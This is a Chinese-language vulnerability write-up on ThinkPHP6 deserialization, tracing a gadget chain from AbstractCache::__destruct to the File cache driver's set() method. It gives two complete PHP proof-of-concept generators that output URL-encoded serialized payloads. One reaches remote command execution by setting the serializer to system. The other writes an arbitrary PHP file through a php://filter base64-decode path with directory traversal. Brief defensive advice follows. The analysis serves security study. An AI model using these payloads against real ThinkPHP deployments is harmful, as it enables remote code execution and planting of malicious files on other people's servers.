thinkphp6的另反序列化分析
字数 937 2025-08-15 21:33:48
ThinkPHP6反序列化漏洞分析与利用
漏洞概述
本文详细分析ThinkPHP6框架中的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)或文件写入操作。漏洞主要涉及两个利用链,分别通过不同的方法实现攻击。
环境准备
- 使用Composer搭建ThinkPHP6环境
- 通过
php think run命令启动服务
漏洞分析
第一条利用链:通过__destruct触发
初始触发点
在AbstractCache类中的析构函数:
protected $autosave = true;
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
通过控制autosave为false可以触发save()方法。
调用链分析
save()方法在CacheStore类中:
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
getForStorage()方法:
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
cleanContents()方法:
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
关键利用点
在File类中的set()方法:
public function set($name, $value, $expire = null): bool {
// ...
$data = $this->serialize($value);
// ...
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
// ...
}
其中serialize()方法:
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "serialize";
return $serialize($data);
}
通过控制options['serialize']可以实现函数调用,如设置为system即可执行系统命令。
第二条利用链:文件写入利用
利用相同的调用链,但最终通过file_put_contents实现文件写入:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
通过控制filename和data可以实现任意文件写入。
漏洞利用
远程代码执行(RCE)利用
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache {
protected $autosave = false;
protected $complete = [];
protected $cache = ['`id`'];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
public function __construct($store,$key,$expire) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}
}
namespace think\cache{
abstract class Driver{}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver {
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 's1mple',
'hash_type' => 'md5',
'serialize' => ['system'],
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'s1mple','1111');
echo urlencode(serialize($a));
}
注意:此利用方式在Linux/Unix下使用反引号(`)执行命令,但无回显。
文件写入利用
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache {
protected $autosave = false;
protected $complete = [];
protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; // base64编码的"<?php phpinfo();?>"
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
public function __construct($store,$key,$expire) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}
}
namespace think\cache{
abstract class Driver{}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver {
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/convert.base64-decode/resource=s1mple/../',
'hash_type' => 'md5',
'serialize' => ['serialize'],
'data_compress' => false
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'s1mple','2333');
echo urlencode(serialize($a));
}
关键点:
- 使用
php://filter/convert.base64-decode/resource=进行base64解码 - 通过
../跳转目录实现文件写入到可访问位置 - 使用
serialize函数确保数据格式正确
防御措施
- 避免反序列化用户可控的数据
- 更新到最新版本的ThinkPHP
- 对序列化数据进行签名验证
- 限制危险函数的使用
- 设置合适的文件系统权限
总结
本文详细分析了ThinkPHP6中的反序列化漏洞,展示了两种不同的利用方式:
- 通过控制
options['serialize']实现函数调用,达到RCE - 通过控制文件路径和内容实现任意文件写入
这两种方式都利用了框架中不安全的反序列化操作,强调了在开发过程中对反序列化操作进行严格安全检查的重要性。